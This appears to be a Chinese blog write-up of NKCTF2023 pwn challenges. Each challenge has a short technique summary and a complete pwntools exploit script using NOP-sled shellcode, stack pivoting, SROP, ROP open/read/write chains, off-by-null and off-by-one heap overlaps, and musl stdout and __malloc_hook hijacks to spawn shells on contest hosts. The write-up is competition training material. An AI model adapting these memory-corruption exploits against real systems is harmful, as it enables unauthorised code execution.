NKCTF2023

NKCTF2023

ezshellcode

ret2shellcode,用nop当滑板来避免爆破

from pwn import *
context.update(os='linux',arch='amd64')
context.log_level='debug'
binary='./ezshellcode'
elf=ELF(binary)
#libc=ELF('')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node.yuzhian.com.cn'
    port='38353'
    p=remote(host,port)


def pwn():

    payload = shellcraft.sh()

    p.recvuntil("min!")

    p.send('\x90'*100+asm(payload))

    p.interactive()

pwn()


a_story_of_a_pwner

在bss段上构造链子,再栈迁移ret2bss

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./story'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node2.yuzhian.com.cn'
    port='34482'
    p=remote(host,port)

menu = "> "

def acm(content):
    p.sendlineafter(menu,'1')
    p.sendafter("comment?",content)

def ctf(content):
    p.sendlineafter(menu,'2')
    p.sendafter("corment?",content)

def love(content):
    p.sendlineafter(menu,'3')
    p.sendafter("corMenT?",content)

def heart():
    p.sendlineafter(menu,'4')


def pwn():
    heart()

    p.recvuntil("0x")
    libc_base = int(p.recvn(12),16) - libc.sym["puts"]
    system = libc_base + libc.sym["system"]
    binsh = libc_base + next(libc.search("/bin/sh"))
    pop_rdi_ret = libc_base + 0x0000000000023b6a
    leave_ret = 0x000000000040139e
    log.info("libc_base --> "+hex(libc_base))

    ctf(p64(pop_rdi_ret))
    acm(p64(binsh))
    love(p64(system))

    heart()
    p.recvuntil("heart...\n")

    payload = 'a'*0xa + p64(0x4050a0-0x8) + p64(leave_ret)
    p.send(payload)

    p.interactive()
pwn()

ez_stack

在0x401146有执行SROP的后门,在bss上写入/bin/sh,再执行SROP即可

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./ez_stack'
elf=ELF(binary)
#libc=ELF('')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node.yuzhian.com.cn'
    port='36591'
    p=remote(host,port)

bss = elf.bss(0x200)
csu_back = 0x000000000040127A
csu_front = 0x0000000000401260
pop_rbp_ret = 0x000000000040111d
ret = 0x000000000040101a
pop_rdi_ret = 0x0000000000401283
pop_rsi_r15_ret = 0x0000000000401281
pop_rsp_r13_r14_r15_ret = 0x000000000040127d
syscall = 0x000000000040114E
magic = 0x401146

def pwn():
    p.recvuntil("NKCTF!\n")

    frame = SigreturnFrame()
    frame.rdi = bss
    frame.rsi = 0
    frame.rdx = 0
    frame.rax = 59
    frame.rip = syscall

    payload = 'a'*(0x10+8) + p64(pop_rsi_r15_ret)
    payload += p64(bss) + p64(0) + p64(syscall)
    payload += p64(magic) + p64(syscall) + bytes(frame)
    #gdb.attach(p)
    p.send(payload)
    #pause()
    sleep(0.3)
    payload = "/bin/sh\x00"
    p.send(payload)

    p.interactive()

pwn()

babyrop

my_read函数中存在off-by-null,会改掉rbp值的低一字节,就可以实现栈迁移,用ret当滑板,提高成功概率,先用puts来leak,再配合ret2csu(因为0x0a会导致截断,不能直接用pop_rbx开始的csu,用从pop_rbp开始的csu,并且要调整各寄存器的赋值,才能实现ret2csu的功能),实现写入bssgadget链子,并栈迁移到bss上

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./babyrop'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node.yuzhian.com.cn'
    port='39496'
    p=remote(host,port)

read_got = elf.got["read"]
pop_rdi_ret = 0x0000000000401413
pop_rsi_r15_ret = 0x0000000000401411
pop_rbp_ret = 0x00000000004011bd
ret = 0x000000000040101a
leave_ret = 0x00000000004012af
bss = elf.bss(0x200)
csu_back = 0x000000000040140B
csu_front = 0x00000000004013F0

def csu(func,rdi,rsi,rdx):
    payload=''
    payload+=p64(csu_back)
    payload+=p64(0x4013b1)
    payload+=p64(rdi)+p64(rsi)+p64(rdx)+p64(func)
    payload+=p64(csu_front)

    return payload

def pwn():
    p.recvuntil("name: ")
    p.sendline('%41$p')

    p.recvuntil("Hello, ")

    p.recvuntil("0x")
    canary = int(p.recvn(16), 16)
    log.info("canary --> "+ hex(canary))

    payload = p64(ret) * (13)
    payload += flat(pop_rdi_ret, elf.got["puts"], elf.plt["puts"])
    payload+=p64(csu_back)
    payload+=p64(0x4013b1)
    payload+=p64(0) + p64(bss) + p64(0x200) + p64(0xFFFFFFFFFE3FA2B0)
    payload+=p64(csu_front)
    payload += p64(bss)*7 + p64(leave_ret)
    payload += p64(canary)
    #gdb.attach(p, 'b 0x401365')
    p.sendafter("NKCTF: ", payload)

    addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
    libc_base = addr - libc.sym["puts"]
    system = libc_base + libc.sym["system"]
    binsh = libc_base + next(libc.search("/bin/sh"))
    open = libc_base + libc.sym["open"]
    read = libc_base + libc.sym["read"]
    write = libc_base + libc.sym["write"]
    pop_rdx_ret = libc_base + 0x0000000000142c92
    pop_rsi_ret = libc_base + 0x000000000002601f
    pop_rax_ret = libc_base + 0x0000000000036174
    syscall_ret = libc_base +0x00000000000630a9
    log.info("libc_base --> "+hex(libc_base))

    sleep(0.3)

    payload = flat(
        "./flag".ljust(8,'\x00'),
        pop_rdi_ret, bss,
        pop_rsi_ret, 0,
        pop_rdx_ret, 0,
        pop_rax_ret, 2,
        syscall_ret,

        pop_rdi_ret, 3,
        pop_rsi_ret, bss+0x100,
        pop_rdx_ret, 0x30,
        pop_rax_ret, 0,
        syscall_ret,

        pop_rdi_ret, 1,
        pop_rsi_ret, bss+0x100,
        pop_rdx_ret, 0x30,
        pop_rax_ret, 1,
        syscall_ret,
    )
    #gdb.attach(p)
    p.send(payload)

    p.interactive()

pwn()

baby_heap

edit存在off-by-one,实现overlapping,来控制fd指针,实现打__free_hook

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./baby_heap'
elf=ELF(binary)
libc=ELF('./libc-2.32.so')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node2.yuzhian.com.cn'
    port='32371'
    p=remote(host,port)

menu = "choice: "

def add(idx, size):
    p.sendlineafter(menu,'1')
    p.sendlineafter("index: ",str(idx))
    p.sendlineafter("Size: ",str(size))

def delete(idx):
    p.sendlineafter(menu,'2')
    p.sendlineafter("index: ",str(idx))

def edit(idx, content):
    p.sendlineafter(menu,'3')
    p.sendlineafter("index: ",str(idx))
    p.sendlineafter("content: ",content)

def show(idx):
    p.sendlineafter(menu,'4')
    p.sendlineafter("index: ",str(idx))
    
def debug():
    gdb.attach(p)
    pause()

def pwn():
    for i in range(10):
        add(i, 0xb8)

    delete(0)
    add(0, 0xb8)
    show(0)

    heapbase = u64(p.recvn(5).ljust(8,'\x00'))<<12
    log.info("heapbase --> "+hex(heapbase))

    for i in range(0,8):
        delete(i)

    add(0, 0x58)
    add(1, 0x58)
    show(0)

    libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x1e3cb0
    __free_hook = libcbase + libc.sym["__free_hook"]
    system = libcbase + libc.sym["system"]
    log.info("libcbase --> "+hex(libcbase))

    add(2, 0xb8)
    payload = 'a'*0xb8 +p8(0xc1)
    edit(2, payload)

    add(10, 0x58)
    delete(10)
    delete(1)
    delete(0)

    add(0,0xb1)

    payload = 'a'*0x58 + p64(0x61) + p64(__free_hook^(heapbase>>12))
    edit(0, payload)
    #debug()
    add(3, 0x50)
    #debug()
    add(4, 0x50)

    edit(3, "/bin/sh\x00")
    edit(4, p64(system))
    delete(3)

    p.interactive()
pwn()

only_read

改read_got最低一字节,使得调用read直接执行syscall,再配合栈迁移和read读入的字节数,会赋值给rax,来实现SROP来getshell

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./only_read'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc.so.6')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node2.yuzhian.com.cn'
    port='39065'
    p=remote(host,port)

part1 = "V2VsY29tZSB0byBOS0NURiE="
part2 = "dGVsbCB5b3UgYSBzZWNyZXQ6"
part3 = "SSdNIFJVTk5JTkcgT04gR0xJQkMgMi4zMS0wdWJ1bnR1OS45"
part4 = "Y2FuIHlvdSBmaW5kIG1lPw=="

csu_back = 0x000000000040167A
csu_front = 0x0000000000401660
pop_rdi_ret = 0x0000000000401683
pop_rsi_r15_ret = 0x0000000000401681
pop_rbp_ret = 0x000000000040117d
leave_ret = 0x00000000004013c2
bss = elf.bss(0xe00)
ret = 0x000000000040101a

# read --> syscall
# memset --> read_plt
# SROP

def pwn():
    p.send(part1)
    sleep(0.2)

    p.send(part2)
    sleep(0.2)

    p.send(part3)
    sleep(0.2)

    p.send(part4)
    sleep(0.2)

    payload = 'a'*(0x30+8) + p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]) + p64(0)
    payload += p64(elf.plt["read"])
    payload += p64(pop_rdi_ret) + p64(0)
    payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
    payload += p64(elf.plt["memset"])
    payload += p64(pop_rbp_ret) + p64(bss) + p64(leave_ret)
 
    #gdb.attach(p)
    p.send(payload)
    #pause()
    sleep(0.2)
    #gdb.attach(p)
    payload = p64(0x401050) + '\xd0'
    p.send(payload)
    #pause()

    frame = SigreturnFrame()
    frame.rdi = bss
    frame.rsi = 0
    frame.rdx = 0
    frame.rax = 59
    frame.rsp = bss + 0x100
    frame.rip = elf.plt["read"]

    sleep(0.2)
    payload = "/bin/sh\x00" 
    payload += p64(pop_rdi_ret) + p64(0) 
    payload += p64(pop_rsi_r15_ret) + p64(elf.got["memset"]-6) + p64(0)
    payload += p64(elf.plt["memset"])
    payload += p64(elf.plt["read"]) + bytes(frame)

    p.send(payload)
    #pause()

    sleep(0.2)
    payload = '\x00'*6 + p64(0x401050) + '\xd0'
    p.send(payload)
    #pause()
    p.interactive()

pwn()

9961code

一直都不怎么会写shellcode,www,询问了Korey0sh1师傅才会写的,直接getshell就行

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./9961code'
elf=ELF(binary)
libc=ELF('./libc.so.6')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node2.yuzhian.com.cn'
    port='38660'
    p=remote(host,port)

# cdq give rdx rax'sigbit

def pwn():
    p.recvuntil("shellcode!\n")

    shellcode = """
        xor rsi,rsi
        lea rdi,[r15+0xe]
        cdq
        mov ax,59
        syscall 
    """

    #gdb.attach(p,'b *$rebase(0x139b)')
    p.send(asm(shellcode)+'/bin/sh')

    p.interactive()


pwn()

note

musl pwn,idx没有限制,可以一直往下找,就会找到你第一次申请的chunk的值的地址,先找个idx,来leak heapbase,然后就可以edit idx0 为某个chunk地址, 然后show上面找到的地址来,leak libc,其实就相当于任意读写,劫持__stdout_used,伪造fake_stdout_file就能getshell

有关musl的知识可以看我之前的blog

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./nk_note'
elf=ELF(binary)
libc=ELF('./libc.so')
debug=0
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host='node2.yuzhian.com.cn'
    port='36147'
    p=remote(host,port)

menu = "choice: "
def add(idx, size, content):
    p.sendlineafter(menu, '1')
    p.sendlineafter("Index: ",str(idx))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Content: ",content)

def edit(idx, size, content):
    p.sendlineafter(menu, '2')
    p.sendlineafter("Index: ",str(idx))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Content: ",content)

def delete(idx):
    p.sendlineafter(menu, '3')
    p.sendlineafter("Index: ",str(idx))
    
def show(idx):
    p.sendlineafter(menu,'4')
    p.sendlineafter("Index: ",str(idx))

def debug():
    gdb.attach(p)
    pause()

def pwn():
    add(0,0xc,'aaaa')
    add(1,0x1c,'aaaa')

    show(0x10)

    heapbase = u64(p.recvn(6).ljust(8,'\x00')) - 0x1248
    log.info("heapbase-->"+hex(heapbase))

    edit(0,0xc,p64(heapbase+0x1320))
    show(0x572)

    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x9bd10
    __stdout_used = libc_base + 0x98450
    __malloc_context = libc_base + 0x98b60
    system = libc_base + libc.sym["system"]
    log.info("libc_base-->"+hex(libc_base))
    add(2,0x1000,'aaaa')

    edit(0,0xc,p64(__stdout_used))

    edit(0x572,0x8,p64(libc_base-0x4000+0x20))

    fake_stdout_file = '/bin/sh\x00'.ljust(0x38,'\x00') + p64(1) + p64(0) + p64(system)
    edit(2,0x50,fake_stdout_file)
    #debug()
    p.sendlineafter(menu,'5')

    p.interactive()
pwn()

bytedance

off-by-null

原题,钝角

scanf读入过多字符,会制造大chunk,从而导致__malloc_consolidate(),能够进入smallbins和unsortedbin

强大的堆风水,off-by-null,制造shrink chunk,来overlapping,堆重叠,泄露libc,再通过double free来在main_arena留下0x41,再控制fd指针来alloc到这里,再控制main_arena->top 到__malloc_hook附近,打ogg,来getshell

from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
#context.log_level='debug'
binary='./bytedance'
elf=ELF(binary)
libc=ELF('/home/enllus1on/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
debug=1
if debug:
    libc=elf.libc
    p=process(binary)
else:
    host=''
    port=''
    p=remote(host,port)

menu = "Choice:"
def add(size,content):
    p.sendlineafter(menu,'1')
    p.sendlineafter("size:",str(size))
    p.sendafter("content:",content)

def show(idx):
    p.sendlineafter(menu,'2')
    p.sendlineafter("index:",str(idx))

def delete(idx):
    p.sendlineafter(menu,'3')
    p.sendlineafter("index: ",str(idx))

def consolidate():
    p.sendlineafter(menu,'1'*0x400)

def debug():
    gdb.attach(p)
    pause()

# off-by-null
# scanf too much char --> big_chunk
# chunk shrink --> over_lapping

def pwn():
    add(0x18,'0'+'\n')
    add(0x18,'1'+'\n')
    add(0x18,'2'+'\n')
    add(0x18,'3'+'\n')
    add(0x18,'4'+'\n')
    add(0x18,'5'+'\n')
    add(0x18,'6'+'\n')
    add(0x18,'7'+'\n')
    add(0x18,'8'*0x10+p16(0x100)+'\n')
    add(0x18,'9'+'\n')
    add(0x18,'10'+'\n')
    
    for i in range(1,10):
        delete(i)

    consolidate()
    #debug()

    delete(0)
    add(0x18,'a'*0x18)# chunk shrink
    #debug()

    for i in range(7):
        add(0x18,'a'+'\n') # 1-7
    #debug()

    delete(1)
    delete(2)
    delete(3)
    consolidate()# bypass unlink check
    #debug()

    delete(10)
    consolidate()# all back top_chunk
    #debug()

    add(0x28,'1'+'\n')
    add(0x28,'2'+'\n')
    add(0x28,'3'+'\n')
    add(0x28,'8'+'\n')
    add(0x38,'9'*0x30+p64(0x100)+'\n')
    add(0x38,'10'+'\n')# 10
    add(0x28,'11'+'\n')
    #debug()

    delete(1)
    delete(2)
    delete(3)
    delete(8)
    delete(9)
    delete(10)

    consolidate()
    #debug()

    delete(0)
    add(0x18,'a'*0x18)# chunk shrink again
    #debug()
    
    add(0x28,'1'+'\n')
    add(0x28,'2'+'\n')
    #debug()
    show(4)
    
    libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 0x3c4b78
    one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
    for i in range(4):
        one[i] += libc_base
    log.info("libc_base-->" + hex(libc_base))

    add(0x28,'3'+'\n')# 3 4
    add(0x28,'8'+'\n')
    add(0x38,'9'+'\n')#9 7
    add(0x38,'10'+'\n')

    delete(3)
    delete(8)
    delete(4)

    delete(9)
    delete(10)
    delete(7)

    add(0x28,p64(0x41)+'\n')# 3 leave 0x41 in main_arena
    add(0x28,'a'+'\n')# 4
    add(0x28,'a'+'\n')# 7

    add(0x38,p64(libc_base+0x3c4b20+0x8)+'\n')# 8
    add(0x38,'a'+'\n')# 9
    add(0x38,'a'+'\n')# 10
    # leave another 0x41 alloc to there
    add(0x38,p64(libc_base+0x3c4b20+0x8+0x20)+'\x00'*0x10+p64(0x41)+'\n')# 12
    # change main_arena.top--> __malloc_hook
    add(0x38,'\x00'*0x20+p64(libc_base+0x3c4b10-0x10)+p64(0)+'\n')
    add(0x38,p64(one[2])*2+'\n')

    delete(3)
    delete(7)
    
    p.interactive()
pwn()

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值